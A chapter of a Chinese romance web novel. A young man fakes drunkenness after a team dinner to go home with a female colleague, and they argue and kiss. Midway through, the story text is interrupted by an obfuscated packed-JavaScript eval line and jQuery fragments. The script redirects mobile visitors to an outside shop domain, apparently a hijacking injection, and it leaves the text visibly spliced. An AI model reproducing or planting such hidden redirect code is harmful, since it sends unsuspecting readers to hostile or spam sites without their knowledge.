他还活着。
情况还不算糟糕。
天色毫无预兆地沉了下来,昏蒙暮色的最后一丝光亮被抽走。唐时茵坐在靠窗位置,面无表情地默默进食。
对面的梁司曜趁林夏取餐的空档,又挤到了她旁边。
“那个……要不要我跟他俩解释一下,”他伏低身子,呼吸落到唐时茵手边,“我只是在你床上睡了一觉,不是跟你睡了一觉。”
他又重点追加了句:“我还是处男呢。”
以唐时茵对桐桐传播八卦速度的了解,眼下差不多要到召开发布会澄清的程度了。
唐时茵抬起头刚要开口,迎面走来的市场部女同事目光扫过挨得极近的两人,眼一眯,冲她露出一个意味深长的姨母笑。
真是怕什么来什么。这个梁司曜长这么大硬是没学会小声说话!
嘭——
梁司曜目光落到唐时茵手上。那把叉子被她死死攥在手心,直直立于桌面上,叉齿泛着冷冷银光。他往后一缩,灰溜溜地退回到自己位置上,生怕晚半秒,叉子就插自己头上了。
……
这家店的鲜啤酵香醇厚,入口不涩。每张桌上都摆着一扎。
梁司曜仰头,一杯接一杯下肚。杯沿溢出的泡沫沾在他唇角,接着被他屈指蹭掉。
这是唐时茵第一次见他喝酒。
骨节分明的手指拢住玻璃杯,平日里清亮的眉眼,被酒气渡上一层朦胧,眼尾也晕开淡淡的绯色。竟生出一种她从未见过的蛊惑感。
唐时茵挪开视线,莫名想喝酒了。
她刚端起酒杯,就被对面探来的手猛地扣下。她用力,对方跟着也用力,手背上的青筋浅浅绷起。
在这场腕力大比拼中,梁司曜以压倒式胜利夺得酒杯,他不顾唐时茵的白眼,倾身压低声线:“不许喝。喝醉了,不知道又要抱着哪个男人亲。”说完就势一趴,枕在胳膊上傻笑。
“……”唐时茵好想揍他,当即抬脚踹去。
由于没判断好位置,她鞋子擦着梁司曜的裤脚不偏不倚落在他腿间。下一瞬,梁司曜骤然收紧膝盖,夹住她小腿。
唐时茵慌忙想往回抽,却被他锁得牢牢的。
桌上,梁司曜神色未变,缓缓直起身,垂着眸,漫不经心地碾转酒杯。
桌下,他慢慢收紧力道,布料摩擦发出细碎窸窣声。
唐时茵挣扎无果后,索性不再徒劳后缩。她足尖微抬,朝他大腿内侧碾去……梁司曜转酒杯的指尖倏地收紧。
“唉,我说你俩能安分些嘛?”林夏叉子一落,精准命中一颗小番茄,“我筷子还在地上呢,请问我现在方便捡吗,不会看到些不该看的画面吧。”
二人登时正襟危坐。
梁司曜弯腰替林夏捡筷子,桌底下,他瞥见唐时茵因为刚才的挣扎而露出的一节凝白脚踝,踝骨微微凸起,缀着一颗小痣。
他敛神,直起身双手递上。下一秒小腿又结结实实挨了一脚。
唐时茵捋平裤脚,狠狠剜了他一眼。不解恨,她又踩他鞋尖,梁司曜都没反抗。
……
外面阴云越积越厚,天气预报显示大雪将至。
同事们都走得差不多了。很快,林夏叫的代驾也到了。他们桌就剩唐时茵和梁司曜两人。
梁司曜早已醉透,趴伏在桌上,面埋进臂弯里,呼吸粗重绵长。
徐承远拍拍他肩:“喂,你还行吗?”只得到他喉咙里溢出的含糊不清的呓语。他还想再叫他,被桐桐阻止。他顺着她的视线看向唐时茵,收了手,“那我们先走了,再见唐姐。”
“嗯,路上小心。”
唐时茵抬腕看了眼时间,又看了眼那颗脑袋——梁司曜一动不动,乌黑的额发散落地覆住侧脸,肩头随呼吸起伏。
她没有处理醉酒异性的经验。唐毅千杯不醉;至于陈禹,他从不喝酒。
她轻声唤了一声他的名字,没反应。她又伸脚踢了一脚,还没反应。
她已经踢出经验了,接连又是几下,力道一道重过一道。他的黑裤上长满了她的鞋印。
“疼……”梁司曜挣扎着撑起身,眼神迷离,在静电作用下,头顶的卷毛乱糟糟支棱着,像被狂风扫过的鸟窝。
唐时茵咬住舌尖才没让自己笑出声。她跨上包,站起身:“我送你回学校。你自己能走吧。”
她最后一句是肯定句。
梁司曜晃晃脑袋:“我可以。”然后,用实际行动证明他不可以。
唐时茵黑着脸,上前挽住他胳膊。
刚出门口,碎雪掺着冷雨扑面而来,寒气逼人。唐时茵裹紧自己,也顺手想替梁司曜把外套拉链拉到顶。
她单手不好操作,拉链头从指腹滑脱,拳峰磕在梁司曜下巴上,她下意识抬手按揉他下巴,缓解疼痛。
梁司曜抿紧唇,把头埋低。夜色掩盖之下,耳尖悄无声息泛起薄红。
唐时茵费力将梁司曜塞进后座,合上车门。雪势渐大,她缩了缩肩膀,快步绕向驾驶位。
身后响起车门开合声。
只见梁司曜已从后座下来,踉跄着拉开副驾车门钻了进去。
唐时茵:“……”
*
梁司曜被唐时茵拍醒,他眨眨眼,脑袋一歪又瘫回座椅里。
不一时,鼻尖飘来一缕淡香,他睫毛轻颤,缓缓掀起眼皮,呼吸骤然一滞——唐时茵放大的脸就在眼前,她的手朝他腰际探过来,又顺着腰线下滑,贴上他大腿!
他忘了呼吸,肌肉紧绷。
就在他要窒息之际,唐时茵收回手,坐了回去。
唐时茵朝他看过去,“你醒了?给你朋友打个电话吧,接你回宿舍,”她手里握着他的手机,“我鞋子不防滑,就不送你了。”
“……嗯。”他慢吞吞接过手机。在唐时茵帮助下,磨磨蹭蹭解了锁。
他眼神涣散地扫来扫去,滑不到底的满屏联系人,硬是没挑出一个朋友。耗了五分钟,他掐灭手机,又闭上了眼,“我头疼,让我再眯会儿。”
黑暗中,他听到引擎发动的低鸣。等他再度睁眼,人已在唐时茵家地下车库了。他的手臂再度被唐时茵挽起,顺着力道,虚虚倚上她肩膀。
唐时茵看他这幅样子,怕是连宿舍的床都爬不上去,权衡片刻,只好先把人带回了自己家。
抵达楼层。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793248|210458||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“站好。”唐时茵扶正梁司曜,让他贴着墙根站好。
由于昨天才搬来,她没来得及设置指纹,密码也没记住。她打开包包,翻找钥匙,手机正好响了,她索性一并往外掏。
指尖打滑,手机陡然脱手,直直朝地面坠去。
旁边的梁司曜眼疾手快,抬手稳稳将手机捞在掌中。
“谢谢。”唐时茵接过。
钥匙插入锁芯,锁舌弹开的一瞬,唐时茵突然转过身望向身后的梁司曜,眼掠过一丝难以置信的恍然:“梁司曜,你是不是……在装醉?”
空气静了一秒。
梁司曜垂在身侧的手指蜷了蜷。再抬眼时,哪还有方才一点醉态沉沉的样子。
唐时茵:“……!”
他嘴角勾起一抹促狭的坏笑,赶在唐时茵发作前,侧身扒开半开的门,抢先挤了进去。
*
其实梁司曜原本并未想来唐时茵家,他只是想多和她待会儿。这纯粹是意外之喜。
“梁、司、曜!”
钥匙、手机、包包悉数砸在他身上,又被他稳稳兜住。
“你有病吧!”唐时茵难得说脏话,愠怒道,“你到底想干什么!”
“我能干什么……”他转身帮唐时茵把包挂好,姿态松弛地又把自己的外套脱下,挂起。
“你不干什么,那大半夜跑我家干什么!”唐时茵下意识往后退了两步,脊背抵上玄关墙。
是本能的戒备与疏离。
梁司曜心底生出一阵涩然:“你觉得我想干什么?你觉得我过来就是对你做什么吗?唐时茵,我说了我喜欢你,我怎么可能……”
他说不下去,“你就是这么想我的吗?在你心里,我就是这样的人。”
“可你也是个男人。”唐时茵没有退让,冷冷道。
梁司曜苦笑:“那你亲我的时候有把我当男人吗?”
唐时茵烦躁地揉捏眉心:“我说了我那天喝醉了,你听不懂吗?”
“听懂了!”梁司曜抬步上前,居高临下地俯视她,“我现在可以告诉你,我为什么装醉,因为我想亲你。醉了就可以乱亲人,不是吗?这个答案你满意吗?”
“翻来覆去揪着这件事不放,你是觉得被我亲了,受了天大的委屈?”
“是,我很委屈。”
他每说一句,就朝她贴近一分,将两人间的距离压缩至极致,“委屈我喜欢的人,心里装着别的男人,却还亲了我。委屈亲了我,却压根没打算承认。委屈就算被迫承认,也不想给我交代。既然一切都是酒精的错,我今天也想好好错一次。”
“这事是翻不了篇了?”唐时茵哂笑。
“一辈子都翻不了。”他定定凝着她,不肯放过她一丝微表情,“这是我的初吻,你必须赔我。”
这是什么烂俗偶像剧台词,唐时茵简直受够他这副受害者做派。以最低的姿态步步紧逼,不依不饶。
“好,很好。”唐时茵沉吸一口气,抬手脱掉大衣,随手扔在地上,对上他执拗的眼,“我告诉你,那根本就不算吻。”
“这才是!”她攥住他胸前的卫衣抽绳,狠狠一拽,踮起脚尖仰头吻了上去。